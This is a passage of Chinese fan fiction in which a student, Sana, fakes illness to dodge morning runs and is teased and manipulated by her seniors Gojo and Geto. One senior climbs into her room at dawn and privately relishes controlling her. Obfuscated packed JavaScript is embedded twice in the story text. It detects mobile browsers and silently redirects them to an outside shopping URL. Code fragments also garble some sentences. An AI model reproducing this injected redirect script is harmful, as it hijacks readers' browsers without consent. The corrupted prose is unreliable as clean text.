她躺在床上，闭上眼睛，开始练习虚弱的声音。 “前辈……我……我不舒服……” “太刻意了！一点都不虚弱！”豆福小爪子搭着评价道。 “那这个呢，你快听！前辈……头好痛……” “像在念台词，而且是很拙劣的那种。” 纱奈烦躁的打挺中。 “那这个！前辈……我可能……快不行了……” “你还是直接说你死了吧。” 纱奈猛的起身看向豆福，“喂喂！尊重一下你主人的演技成果！” 豆福不置可否，反正明天发现被罚的又不是它。 11. 呜咽的 第二天早上五点五十。 纱奈躺在床上，额头贴着退烧贴，热水袋捂在睡衣里，体温计咬在嘴里，眼睛紧紧闭着。 她昨晚练习病号表情管理到凌晨一点，现在眼圈发黑，不用装就一脸憔悴。 豆福趴在枕头边，用爪子拨弄着退烧贴的边角，“这玩意儿能装多久？” 纱奈因为咬着体温计含糊不清地说道：“能撑到前辈心疼为止。” “等前辈们发现我病得很严重，一定会说好好休息吧今天不用晨跑了，然后我就可以睡到自然醒，完美。” “你真乐观。” “必须乐观。”纱奈把体温计从嘴里拿出来，看了眼度数，三十六度八，正常得不能再正常。 她赶紧对着热水袋哈了几口气，又塞进嘴里，希望口腔温度能上升一点。 五点五十五。 门外传来脚步声。 纱奈立刻进入状态，眉头微蹙，用粉底把嘴唇拍的苍白，憋气让呼吸微弱紊乱。 豆福跳到窗台上，准备扮演焦急的宠物猫角色。 脚步声停在门外。 敲门声响起。 “白鸟同学？” 是五条悟的声音，听起来好像……还挺温和？ 纱奈心里一喜，但表面不动声色，继续装睡。 门被推开了。 两个人走了进来。 纱奈偷偷睁开一条缝，然后差点没绷住。 为什么是两个？！ 五条悟和夏油杰一起站在门口，一个穿着运动服，墨镜挂在领口，一个穿着校服，脸上挂着温和的微笑。 两个人同时来叫她起床，这是要干什么？！ 纱奈赶紧闭眼，心跳开始加速。 五条悟走到床边，蹲下，伸出手摸了摸她的额头。 “唔……”纱奈配合地发出一声虚弱的呻吟。 “有点烫呢。”五条悟皱眉，语气听起来很担忧，“杰，你快来看看。” 夏油杰也走过来，在床边蹲下，伸手探了探她的额头。 “确实有点热，看起来病得不轻。” 纱奈心里狂喜，成功了！前辈们信了！ 然后她就听见五条悟用几乎能拿奥斯卡的语气说：“呜，好可怜啊……都是我的错，不该逼你那么紧……” 他还真的挤出了两滴泪，从他那双漂亮的眼睛中滑落。 夏油杰也跟着配合：“是我们不好，没有考虑你的身体状况。” 纱奈差点感动哭了。 前辈们……原来这么关心她？ 然后五条悟突然伸手，捏了捏她的脸，手拉住脸颊左右两边一起捏，像在捏面团。 纱奈的虚弱呻吟卡在喉咙里。 五条悟松开手，表情瞬间从担忧切换到恶劣，“但是呢我觉得发烧不影响跑步，运动出汗对退烧还有帮助呢。” 夏油杰补充：“而且晨跑可以增强免疫力，对你恢复身体有好处。” 纱奈：“……” 她以为自己听错了。 五条悟伸手把她从被子里捞出来，“来吧，换衣服，今天跑十二圈。” 纱奈的眼睛瞪大了。 十二圈？！ 昨天不是说十圈吗？！ 五条悟像是知道她在想什么，笑眯眯地解释：“昨天迟到两小时四十分钟，按照规矩应该加圈，但看在你辛苦去买甜点的份上，我只算十圈，今天呢，本来应该继续跑十圈，但是。” 他顿了顿，笑容加深。 “你装病，罪加两圈，所以总共十二圈。” 纱奈的嘴唇在抖，“我没有装病……！” 五条悟拿起床边被咬过的体温计，“那你说说，为什么体温计上的水银柱只到三十六度八？” “那是因为……”纱奈脑子一片空白。 夏油杰拿起那个鼓鼓的热水袋，“还有这个，贴着皮肤应该很烫吧，但你的额头温度只比正常体温高一点点，明显是假的。” 纱奈：“……” 她绝望地看向豆福，寻求帮助。 豆福正背对着她，肩膀一抖一抖的，显然在憋笑。 “豆福……”纱奈咬牙切齿。 “咳咳。”豆福转过来，尽量让自己的表情看起来严肃，“那个……我觉得吧，装病确实不对，但纱奈她……” “对了，”五条悟打断它，“小猫咪你也别闲着，今天跟着一起跑。” 豆福的表情瞬间僵住。 “什么？？” “我说，你也要跑。”五条悟理所当然地说，“作为你主人的猫，你应该和主人一起锻炼身体，不是吗？” 豆福：“……” 它沉默了三秒，然后开始骂骂咧咧。 “我是猫！猫！你看过哪只猫晨跑的？！而且我这么瘦弱！跑十二圈会死的！真的会死的！” 五条悟把它拎起来，“你看你，胖得跟个球一样，跑几圈对身体好。” 豆福疯狂挣扎，“我不跑！打死我也不跑！” 夏油杰温和地插话：“如果你不跑，那白鸟同学的惩罚圈数就要加倍了，二十四圈，你觉得她能跑完吗？” 豆福的挣扎停住了。 它看向纱奈。 纱奈也看着它，眼睛里写着帮帮我，豆福眯着眼看它，纱奈的眼神立刻变成威胁。 豆福沉默了很久，然后恶狠狠地说：“算你们狠！” 五条悟满意地点头，然后把纱奈从床上拉起来，“快点换衣服，六点十五了，迟到一分钟加一圈。” 她磨磨蹭蹭地换好运动服，跟着两个前辈走出房间。 路过灰原和七海的房间时，门正好开了。 灰原和七海也换好了运动服，看起来精神不错。 “前辈早！”灰原很积极地问好。 七海点头，“前辈早。” 五条悟立刻换上一副亲和力十足的笑容，“早啊早啊，昨晚睡得怎么样？” 夏油杰也温和地说：“今天要开始晨跑了，紧张吗？” 灰原咧嘴笑，“不紧张！我很期待！” 七海：“还好。” 纱奈在旁边听着，内心翻江倒海。 这两个恶魔！在新生面前装得人模人样！简直虚伪！ 五条悟转头看她，笑容依旧温和，“对了，白鸟同学今天身体不太舒服，但她坚持要参加晨跑，真是个努力的好孩子呢。” 纱奈低着头选择不回复。 夏油杰也附和：“是啊，明明发烧了还要坚持，这种精神值得我们学习。” 灰原一脸感动，“白鸟同学好坚强！” 七海看着纱奈苍白的脸，眉头皱了起来，怎么看起来有点像装的。 纱奈张了张嘴，想说什么，但五条悟直接揽住她的肩膀，半推半拽地往前走，“走吧走吧，抓紧时间。” 一行人来到操场。 太阳刚刚升起，操场上笼罩着淡淡的晨雾。 五条悟让灰原和七海先去热身，然后拉着纱奈走到一边。 “今天呢，你跑十二圈。”他压低声音，笑容依旧温和，但眼神里写满恶劣，“豆福跟着你，跑不完你就别想休息。” 纱奈咬着嘴唇，“前辈……我真的不舒服……” “哪里不舒服？” “全身都不舒服……” “那就跑步出汗，出汗就好了。”五条悟拍拍她的肩，“去吧，加油哦。” 纱奈绝望地看向夏油杰，想寻求一丝怜悯。 夏油杰对她笑了笑，丝毫没有要帮忙的样子，“别担心，我们会监督你的。” “……” 纱奈终于明白，在这两个人面前，一切的挣扎都是徒劳的。 她抱着豆福，走到跑道上。 旁边的灰原和七海已经开始热身运动，看起来很认真。 灰原跑过来问她，“白鸟同学，你还好吗？” “还好。”纱奈的声音虚弱得像蚊子叫。 “真的吗？你脸色好差……” “装的。”七海在旁边冷不丁地说。 “？？” 纱奈显然低估了某金毛的观察力。 灰原一脸茫然的看着纱奈，“啊？” 七海瞥了纱奈一眼，慢悠悠开口，“她脸上涂了粉底，脖子和脸的颜色不一样。” 纱奈下意识捂住脖子，这家伙竟然还能看出她涂了粉底？恐怖如斯啊！恐怖如斯！ 灰原仔细观察了一下，然后恍然大悟，“真的诶！白鸟同学，你为什么要装病啊？” 纱奈想解释，但不知道该怎么解释。 五条悟走过来，笑着解围：“可能是因为她害羞吧，毕竟昨天在新生面前说了些夸张的话。” 灰原问道，“夸张的话？” “嗯。”五条悟点头，笑容灿烂，“比如说我们是魔鬼，会虐待后辈什么的。” “……”呵呵。 灰原愣了愣，然后笑了，“啊哈哈哈白鸟同学你真会开玩笑！” 纱奈僵硬地笑着，“啊哈哈哈……对，开玩笑的……” 灰原一脸纯真，“我就说嘛，前辈们这么好，怎么会是魔鬼呢！” 他指了指五条悟，“五条前辈特意提前来叫我们起床，还关心我们有没有睡好。” 又指了指夏油杰，“夏油前辈还告诉我们食堂哪个饭比较好吃。” 最后看向纱奈，“白鸟同学，你是不是误会前辈们啦？” 纱奈的表情在一瞬间精彩纷呈，从震惊到尴尬，从尴尬到绝望，从绝望到麻木。 灰原，我恨你。 五条悟和夏油杰站在她面前，两个人脸上都挂着温和得可怕的笑容，眼神却像在看一只掉进陷阱的兔子。 豆福小声说：“倒数三秒，准备社死，三，二——” 一还没数完，灰原还想说什么，七海突然伸手，捂住了他的嘴。 “唔唔唔？！”灰原挣扎着，嘴里呜呜咽咽的，显然要说什么被强制打断施法。 七海面无表情地对面前的三个人说：“对不起，他早上没睡醒，话有点多。” 五条悟很大度的摆摆手，“没关系没关系，年轻人嘛，有活力是好事。” 夏油杰也点点头，“是啊，不用道歉。” 纱奈在旁边看着这一幕，脑子里只有一个念头，完蛋了，彻底完蛋了。 她的压榨同期生计划，她的示弱策略，她的团结对抗前辈宏图大志，在这一刻全部化为泡影。 而且她还社死了，在所有人面前。 五条悟拍了拍手，把大家的注意力吸引过来。 “好了，该开始晨跑了，灰原，七海，你们两个今天先跑五圈，适应一下。” “是！”灰原很积极。 七海点头，“知道了。” “白鸟同学呢，”五条悟看向纱奈，笑容加深，“跑十二圈，豆福跟着。” “是……” “那就开始吧。”五条悟退到跑道边，“我会计时哦，超过规定时间要加圈的。” 纱奈深吸一口气，咬咬牙，开始跑。 豆福跟在她脚边，跑得气喘吁吁。 “我……我是猫……为什么要跑步……” “闭嘴……跑慢点……” “你跑快点！我还想活命！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她抬起头，看向看台方向。 晨光里，五条悟和夏油杰站在那里，一个笑得灿烂，一个笑得温和。 像两个天使，也像两个恶魔。 纱奈咬咬牙，继续跑。 跑道上，灰原和七海已经跑完五圈，停下来喘气。 灰原看着还在跑的纱奈，小声问七海：“你说…白鸟同学以前说前辈们很可怕……是不是真的啊？” 七海沉默了一下。 “有些话，听听就好，有些事眼见为实。” 灰原似懂非懂地点点头。 七海看向看台，看向那两个笑容温和的前辈，又看向跑道上绝望的纱奈和猫。 他的眉头微微皱了起来。 他总觉得这个高专，好像没有表面上那么太平。 但他没再说什么。 只是站在跑道边，看着纱奈一圈一圈地跑。 看着她跑完第五圈，看着她跑完第六圈。 看着她跑到第八圈的时候，终于忍不住蹲下来，抱着膝盖哭了起来。 豆福在旁边用爪子拍她，“别哭！接着跑！” 纱奈哭得更凶了。 看台上，五条悟和夏油杰相视一笑。 夏油杰站起来，向跑道走去。 “休息一会儿吧，剩下的圈数下午补。” 纱奈愣住了，“……可以休息？” 夏油杰点头，递给她一瓶水，“喝完水，回去洗个澡，准备上课。” 纱奈接过水，还觉得有点不真实。 前辈这是大发慈悲了吗。 豆福在旁边警惕地竖起耳朵。 果然，夏油杰接着说：“下午的训练，我会亲自指导你，把今天的圈数补回来，顺便练习咒力控制。” 她就知道！！ 她就知道没有这么好心的前辈！！！ 豆福翻了个白眼，“早该料到了。” 夏油杰看着纱奈快要哭出来的表情，笑容温柔得不像话。 “别担心，我会很温柔的。” 她才不信，她打死也不信。 但她能怎么办，她只能点头，然后抱着猫回去洗澡。 走之前，她回头看了一眼操场。 灰原和七海已经走了。 看台上，五条悟还在，见她回头，对她挥了挥手，笑容灿烂。 纱奈转回头，加快脚步往回走。 她怕再待下去，会忍不住冲上去咬人。 回到宿舍，纱奈趴在地上，一动也不想动。 豆福在旁边啃猫条，“下午怎么办？” “不知道。” “要不我们真的跑路吧？” “跑哪去？” “去北海道，听说那里雪很大，适合躲藏。” “咱们俩会被冻死的。” “那也比被那两个人玩死强。” 纱奈翻了个身，看着天花板。 “跑不掉的，他们可是咒术师，找人应该很容易吧。” “那就认命？” “认命吧。” 纱奈闭上眼睛，脑子里开始计划下午的训练该怎么敷衍过去。 窗外的阳光照进来，落在她脸上，暖洋洋的。 但她却感觉不到温暖，只觉得前途一片黑暗。 豆福吃完猫条，舔了舔爪子，它突然想起什么，“对了，下午的训练，夏油杰说要帮你补晨跑的圈数，意思是要一边跑步一边练习咒力控制？” 纱奈的身体僵住了，她慢慢睁开眼睛，看向豆福。 豆福也看着她。 一人一猫对视三秒。 然后同时发出绝望的呜咽。 “不————！！” 凄惨的叫声回荡在宿舍里，惊飞了窗外的鸟。 12. 好孩子还是坏孩子 训练场的阳光有些刺眼。 纱奈站在训练场中央，手指绞着衣角，眼神四处乱飘，就是不敢看站在面前的夏油杰。 豆福蹲在她脚边，尾巴烦躁地甩动，像是在说，“快点开始吧早死早超生”。 夏油杰穿着运动服，黑发散在肩上，脸上挂着温和的微笑，看起来很亲和。 “早上跑了八圈，还剩四圈。”夏油杰开口，声音温和，“我们先补完这四圈，然后做咒力控制训练。” 纱奈小声嘀咕：“上午不是跑完了吗……” “嗯？” 夏油杰微微歪头，“白鸟同学是觉得装病不需要付出代价吗？” 纱奈立刻闭嘴。 “好孩子应该诚实。”夏油杰走到她面前，“而你早上装病，不仅不诚实，还试图欺骗前辈，是坏孩子呢。” 纱奈低着头，脚尖在地上画圈圈。 “所以……”夏油杰顿了顿，声音压低，“坏孩子需要惩罚，对吗？” 纱奈的肩膀缩了缩，没说话。 夏油杰却笑了，他伸出手，轻轻拍了拍她的头。 “不过呢，我是很宽容的前辈。” 他的语气像是在哄孩子。 “只要你乖乖跑完四圈，完成训练，我就原谅你这一次。” 纱奈抬起头，眼睛里带着一丝怀疑，“真的？” 夏油杰点头，点了点她的鼻子，“真的哦，前辈我从不骗人。” 这话听起来更可疑了。 她深吸一口气，走到跑道边，开始跑。 晨跑时残存的疲惫感还没完全消散，腿像灌了铅一样沉重。 再加上下午的太阳有点烈，跑了半圈，纱奈就开始喘气。 夏油杰站在跑道内侧，跟着她跑，但很轻松，呼吸平稳，甚至连汗都没出。 豆福跟在他们身后，跑得比纱奈还慢，四条小短腿迈得艰难。 “猫为什么要跑步……” 它边跑边碎碎念，显然已经接受了现实，但还是要抱怨。 纱奈没空理它，她全部的注意力都集中在自己的呼吸和腿上了。 第一圈跑完，纱奈的速度明显慢了下来。 夏油杰却没催她，只是跟在她身边，偶尔说一句建议。 这种温和的指导，反而让纱奈更紧张了。 她不习惯。 先前两个人各有各的恶劣，但现在这么温柔，让她总觉得有陷阱。 果然，跑到第三圈的时候，陷阱来了。 “白鸟同学，”夏油杰侧头看她，“试着把咒力集中在脚上，提高跑步效率。” 纱奈一愣，“现在吗？” “嗯，咒术师的体能很重要，但在实战中，合理运用咒力增加速度和耐力也很重要。” “我做不到……”纱奈下意识否定。 “不试试怎么知道做不到？”夏油杰放慢脚步，等她赶上，“来，跟着我说的做。” “先闭上眼睛，感受咒力流动，引导它到脚底。” 纱奈咬咬牙，照做。 她闭上眼睛，努力感受体内那微弱得几乎感觉不到的咒力，尝试引导它，不出所料的，失败了。 咒力像是调皮的孩子，完全不听指挥，反而在她的经脉里乱窜，带来一阵刺痛。 纱奈闷哼一声，脚步踉跄了一下。 夏油杰伸手扶住她，“咒力控制不熟练，所以让你从现在开始练习是对的。” 纱奈睁开眼睛，眼眶有点红，“前辈……我真的不行……” “别说这么丧气的话。”夏油杰松开她，但手还扶着她的小臂，“再来一次，这次放慢速度，不要操之过急。” 她只好再次闭上眼睛，集中精神。 这一次，她更小心地引导咒力。 光亮微微亮起，持续了两秒，然后熄灭。 虽然失败了，但至少看到了光。 “有进步呢，再来。” 纱奈抿着嘴，继续尝试。 第三圈跑完，第四圈开始的时候，纱奈已经满头大汗，脸色苍白。 咒力控制的练习很耗费精神，再加上跑步的体力消耗，她感觉自己快要虚脱了。 夏油杰却依旧耐心，在她每次失败的时候都会温和地指出问题，然后鼓励她继续。 这种耐心，反而让纱奈更想哭了。 她宁可他像五条悟那样直接嘲讽她，嘲笑她没用。 那样她至少可以理直气壮地委屈。 可现在他这么温柔，这么有耐心，她连委屈的理由都找不到。 纱奈的声音带着哭腔，“前辈我真的好累。” 夏油杰依旧是那副笑眯眯的样子，“我知道，但你不能停下，停下就等于放弃了，不是吗。” “可是我跑不动了，也控制不了咒力。” “那就先跑，咒力控制等跑完再说。” 纱奈摇头，眼泪终于掉下来，“我不要……好累……我不要跑了……” 她蹲下来，抱住膝盖，开始哭。 眼泪大颗大颗往下掉，肩膀一抽一抽的，看起来可怜极了。 豆福走过来，用脑袋蹭了蹭她的小腿，但没说话。 夏油杰在她面前蹲下，静静地看着她哭。 过了一会儿，他伸出手，用指尖轻轻擦去她脸上的眼泪，他的指尖有些凉，顺着脸颊慢慢拭去泪花。 纱奈的哭声停了一瞬，抬起湿漉漉的眼睛看他。 “哭够了？”他问，声音轻柔。 纱奈吸了吸鼻子，没说话。 “哭没有用，眼泪救不了你，也改变不了现状。” “我知道。”纱奈的声音闷闷的。 “那为什么还要哭？” “因为难受。”纱奈咬了咬嘴唇，“因为累……因为做不到……因为觉得自己很没用……” 夏油杰的指尖慢慢向下，然后他伸出手，轻轻握住她的手。 夏油杰的手很大，掌心温热，完全包裹住她的手，他慢慢收紧手，五指分开，慢慢收拢，直至每一寸缝隙都被他占满。 纱奈的脸瞬间爆红。 内心的尖叫声几乎要冲破喉咙。 前辈牵手了…… 牵手了…… 牵手了…… 豆福在旁边翻了个白眼，小声吐槽：“真没出息……” 纱奈没听见。 她现在满脑子都是牵手了牵手了牵手了，完全忘了自己刚才还在哭。 夏油杰看着布满红晕的脸，轻轻笑了。 “白鸟同学，你觉得，我是什么样的前辈？” 纱奈的大脑一片空白，“很…很温柔。” “只是这样吗？”他似乎有些委屈，垂下来眼眸。 “还，还很…很有耐心。” “还有呢？”他又看向纱奈，示意她继续说下去。 “还很厉害……” 夏油杰的笑意加深，他轻轻捏了捏她的手。 “那，你想不想让我更温柔一点呢？” 纱奈眨了眨眼，不太明白这句话的意思。 “只要你乖乖听话，好好训练，完成我给你的目标，我就会对你很温柔。”夏油杰慢慢说，像是在诱哄。 白鸟同学想让我给你买甜点吗？” “想让我帮你请假吗？” “想让我在悟面前护着你吗？” 纱奈的心跳越来越快，这些都是她想要的。 想吃甜点，想请假，想让前辈护着她。 “想……”她小声嗫嚅着。 “那就听话。”夏油杰站起身，把她也拉起来，“跑完最后半圈，完成咒力控制训练，我就给你买银座那家限定的柚子大福。” 纱奈的眼睛亮了，“真的吗？” 夏油杰松开她的手，但手还轻轻搭在她的手背上，“真的，你忘记了，我刚才可是告诉你，我从不骗人。” 又来了，这句可疑的话，但纱奈顾不上了。 大福！限定款！她昨天跑空了的那家新推出的柚子大福！ 纱奈的志气瞬间被点燃，“我跑！我现在就跑！” 她转身就跑，速度比刚才快了不少。 夏油杰看着她突然充满干劲的背影，嘴角的笑意加深。 太单纯了。 简单几句甜言蜜语，一点小恩小惠，就能让她忘记痛苦，重新振作。 真是…可爱啊…可爱得让人想多欺负一会儿。 远处，纱奈终于跑完了第四圈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497881|202589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她气喘吁吁地停下来，转身看向夏油杰，眼睛亮晶晶的。 “前辈！我跑完了！” 夏油杰走过去，“很棒，但是咒力控制训练还没做。” 纱奈的笑容垮了一瞬，但很快又振作起来，“那我们现在做！做完就有大福了！” 豆福在旁边翻白眼翻得都快昏过去了。 接下来的咒力控制训练，纱奈异常积极。 虽然还是失败了很多次，虽然还是累得快哭出来，但她咬着牙坚持下来了。 因为她脑子里只有一个念头，大福！大福！大福！ 一个小时后，训练终于结束。 纱奈瘫坐在训练场上，浑身都被汗水湿透了，指尖都在发抖。 豆福趴在她旁边，气若游丝，“终于……结束了……喵……” 夏油杰走过来，手里拿着毛巾和水瓶。 他把毛巾递给纱奈，然后在她旁边坐下。 纱奈接过毛巾，擦了擦脸，然后抬起头，期待地看着他。 “前辈，大福！” 夏油杰笑了，他伸手，轻轻揉了揉她的头发，“明天给你买。” 纱奈的表情僵住了，“明天？” 夏油杰点点头，眼里有着笑意，“今天太晚了，那家店应该已经关了。” 豆福在旁边小声笑，“我就知道。” 纱奈想哭，但眼泪已经流不出来了。 她感觉自己又被骗了。 夏油杰看着她失望的表情，笑意更深了。 “不过呢，”他慢悠悠地补充，“为了奖励你今天这么努力，我会帮你跟悟说，明天早上你可以晚起半小时。” 纱奈的眼睛又重新亮起来，“真…真，真的吗？！” “真的哦。”夏油杰戳了戳纱奈的脸颊，那块软肉陷下去。 “前辈这回不会再骗我了吧？”纱奈小心翼翼的看向夏油杰。 夏油杰微笑，“怎么会，我从不骗人。” 又是这句，但纱奈选择相信。 相信前辈是温柔的，相信前辈是守信用的，相信前辈是真心对她好的。 “谢谢前辈……”她小声说。 “不用谢。”夏油杰站起身，对她伸出手，“起来吧，我送你回宿舍。” 纱奈犹豫了一秒，把手放上去。 夏油杰把她拉起来，然后很自然地牵着她往宿舍走。 前辈的手很温暖，骨节分明的手牵着她，握得却很温柔，让她觉得莫名很安心。 走到宿舍楼下夏油杰松开手，对纱奈笑了笑，“上去吧，好好休息，明天的训练我会更温柔一点的。” “更温柔是指？”纱奈好奇的发问 “等你明天就知道了。”夏油杰卖了个关子。 “早点睡，晚安。” 纱奈抱着豆福，走上楼梯。 走到楼梯转角的时候，她回头看了一眼。 夏油杰还站在楼下，见她回头，对她挥了挥手。 纱奈迅速转回头，加快脚步上楼。 回到房间，纱奈把脸埋进枕头里，发出细微的尖叫。 豆福跳上枕头，“冷静点！你冷静点！” “我冷静不了！”纱奈翻个身，眼睛亮晶晶的，“前辈牵我的手了！还说明天可以晚起！还说会给我买大福！” “这些都是口头承诺，还没兑现呢。” “但他答应了！夏油前辈说他从来不骗人的！” 它沉默了。 它不知道该说什么。 最后豆福选择装死。 “算了，你开心就好。”豆福翻过身，用屁股对着她。 宿舍楼下，夏油杰还站在走廊里。 他没有离开，而是站在那里，抬头看着纱奈的房间。 窗户关着，灯还亮着。 他能看见里面模糊的人影，能看见那只猫跳上窗台。 嘴角的笑意慢慢加深。 好孩子？ 还是坏孩子？ 对他来说都没区别。 只要有趣，只要可爱，只要…能掌控在手心。 他就愿意多给一点耐心，多施舍一点温柔。 反正好孩子和坏孩子的结局都是一样的。 13. 捏捏脸 纱奈在睡梦中翻了个身，抱着被子，嘴角还挂着浅浅的笑意。 她梦见自己终于吃到银座那家限定柚子大福了，软糯香甜，还带着淡淡的柚子清香。 夏油杰站在旁边，温柔地笑着，对她说：“白鸟同学吃慢点，还有很多。” 梦境太美好，她甚至不愿意醒来。 窗外天色微亮，晨雾还没散尽。 房间里安静的只能听见她均匀的呼吸声，还有豆福偶尔的呼噜声。 纱奈沉沉的睡着，有什么东西轻轻碰了碰她的脸颊。 酥酥麻麻的在脸上游走。 纱奈皱了皱眉，挥手想赶走那东西。 那触碰没有消失，反而更明显了，温热的指尖，轻轻蹭过她的脸颊轮廓，从额头到眼角，再到脸颊，最后停在她的下巴。 那只手捏住了她的下巴。 力道不重，纱奈猛地睁开眼睛。 眼前的视线还有些模糊，晨光透过半开的窗帘照进来，在房间里投下斑驳的光影。 她看到了坐在床边的人。 夏油杰。 他穿着校服，黑发松散地披在肩上，一边的刘海微微遮住眼睛，脸上挂着温和的笑容。 一只手正捏着她的下巴，另一只手撑在她枕边，整个身子微微前倾。 纱奈的大脑空白了三秒。 “呀——呜呜呜！” 声音很快卡在喉咙里，夏油杰用另一只手捂住了她的嘴。 “白鸟同学要小声点，会吵到其他人。” 纱奈的眼睛瞪得像铜铃，她浑身僵硬地躺在那里，下巴被捏着，嘴被捂着，整个人的姿势被动又尴尬。 豆福在旁边睡觉，一小团缩在床尾，duang大一坨，整只猫不知为什么有些发抖，看着像在憋笑。 纱奈轻轻用在被子下的脚轻轻踢了踢豆福。 豆福翻了个身，用屁股对着她，继续熟睡。 叛徒！绝对的叛徒！ 纱奈在心里咬牙切齿。 夏油杰慢慢松开了捂住她嘴巴的手，但那只捏着下巴的手却没松开。 “早安，白鸟同学，昨晚睡得还好吗？” 纱奈的声音发颤，“前辈，那个，您…您怎么在我房间里…” 夏油杰歪头，并没有理会这个问题，“嗯？我不是答应你，让你晚起半小时吗？” “所以现在是……？”纱奈脸上挂着尴尬的笑。 “现在是六点。” “昨天的晨跑是六点开始，今天你可以在六点半开始，我不是给你多留了半小时睡眠吗？” 她的脑子有点转不过来。 答应让她晚起半小时，所以现在是六点…… 等等，那前辈为什么会在她房间里？！ 纱奈艰难地开口，“前辈您还没回答我……您怎么进来的……” 夏油杰松开她的下巴，慢慢直起身子，伸出指尖指了指窗户，“你没关窗。” 纱奈转头看向窗户。 “前辈你爬窗进来的？！” “嗯。”夏油杰坦然承认，手撑在床上，笑着看着她，“敲门可能会吵醒你，爬窗比较安静。” 她无话可说。 纱奈脑子里乱成一团浆糊，呆呆地看着夏油杰。 夏油杰重新弯下腰，凑近她的脸。 纱奈看到前辈那双好看的眉眼越凑越近，温热的气息在二人近在咫尺的距离弥漫。 “前前前辈……”纱奈的声音更抖了。 “您…您靠太近了…” “有吗？”夏油杰反而更近了些，两个人的鼻尖几乎要碰到，“我只是想确保一下白鸟同学是不是真的醒了。” 纱奈的心脏狂跳，脸瞬间红透，她下意识往后缩，但脑袋已经抵在床头，退无可退。 夏油杰看着她紧张的样子，眼中笑意加深，他伸手，轻轻拨开她颊边的碎发。 他的声音低得像耳语，“别怕，我又不会吃了你。” ……这话听起来更可怕了好吗。 夏油杰微微向后退了退，那双狭长的眼睛慢慢扫过漱里那张慌乱的脸。 “今天我只是来叫醒某个坏孩子，告诉她晨跑时间快到了。” 纱奈的脸色瞬间由红转白。 “晨跑真的要跑吗。” “当然。”夏油杰直起身，恢复了温和的笑容，“我答应你晚起半小时，但没答应你不用跑步。” “昨晚练习咒力控制很累，对吗？所以我给你减了运动量，今天只跑八圈。” 八圈的话，纱奈闭了闭眼睛，好像比起昨天的十二圈，确实少了点。 但她还是不想跑。 她试探性地问：“那…如果我说我还是很累，能不能…” “不能。”夏油杰截断她的话，“坏孩子没有讨价还价的资格。” “我哪里坏了？”纱奈小声抗议。 “哪里都坏。” 夏油杰弯下腰，近距离盯着她的眼睛，伸出手来细数纱奈的过错，“装病，撒谎，想偷懒，还总想着逃训练。” 纱奈被他看得心虚，别开视线。 “那好孩子呢？” “好孩子会乖乖起床，乖乖换衣服，乖乖去跑步。” 夏油杰起身，轻轻抚了抚有些褶皱的上衣，对她伸出手。 “白鸟同学今天想当好孩子，还是坏孩子？” 这根本不是选择题。 纱奈咬着嘴唇，盯着那只伸过来的手，慢慢把手放进他掌心。 “明智的选择。”夏油杰把她拉起来，然后松开手，“给你十分钟，换好衣服出来，我在门口等你。” 他转身往门口走，走到一半，突然回头。 “对了，白鸟同学，如果你十分钟后没出来，我会再进来亲自帮你换衣服的哦。” 夏油杰对她笑了笑，走了出去，还顺手带上了门。 房间里陷入短暂的寂静。 纱奈坐在床上，大脑慢慢重启。 刚才前辈是在调戏她吧？！绝对是在调戏她吧？！ 豆福终于醒了，伸了个懒腰，打着哈欠。 “哟，这是怎么了？” 纱奈狠狠瞪了豆福一眼，“你还好意思说？刚才为什么不救我。” 豆福舔着爪子，一副死猪不怕开水烫的样子，“我救了你又怎样，我又打不过他，还不如装死。” “叛徒叛徒叛徒！” “我这是在保护自己。”豆福理直气壮，还有点小愤怒，“我这么可爱，万一被抓去一起跑怎么办？” 她不想跟这只没节操的猫说话了。 她爬起来，开始换衣服。 运动服昨天洗过，晾在窗边还没完全干透，摸起来有点潮。 但她顾不上了，匆匆穿好，又胡乱捋了把头发，就抱着猫冲出门。 门口，夏油杰果然在等。 他靠着墙，双手插在裤兜里，看见她出来，微微一笑。 夏油杰转身往楼梯走，“走吧，豆福今天还跑吗？” 豆福立刻炸毛，“不跑！打死我也不跑！” “那就待在宿舍看家吧。” “那我回去了！”豆福从纱奈怀里跳下来，转身就往房间窜，速度快得像道闪电。 这只猫，关键时刻永远靠不住。 她只能认命地跟着夏油杰下楼。 操场上，灰原和七海已经在热身了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497882|202589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 看见纱奈，灰原热情地挥手，大声喊道：“白鸟同学早上好！” “早。”纱奈有气无力地回答。 五条悟也来了，站在操场边，看见她就咧嘴笑，“啊啦啊啦，我们的病美人终于肯起床了？” 纱奈僵了一下。 夏油杰拍了拍她的肩，“去吧，跟着灰原和七海一起跑，他们今天跑五圈，你跑八圈，我会看着你的。” 纱奈点头，走到跑道边。 她深吸一口气，告诉自己跑完这八圈，今天就结束了，明天一定会更好！ # 晨跑结束后，纱奈几乎是被夏油杰拎回宿舍的。 她累得连路都走不动了，全程靠着夏油杰的支撑才勉强回到房间。 冲完澡，瘫在榻榻米上，纱奈觉得自己已经是个废人了。 豆福在旁边啃猫罐头，难得安慰了她一句：“至少比昨天好，今天只跑了八圈。” “是啊，只跑了八圈。”纱奈有气无力地说，“然后用咒力控制练习折磨了我一上午。” 豆福它选择闭嘴。 纱奈抱着枕头，闭上眼睛，准备补觉。 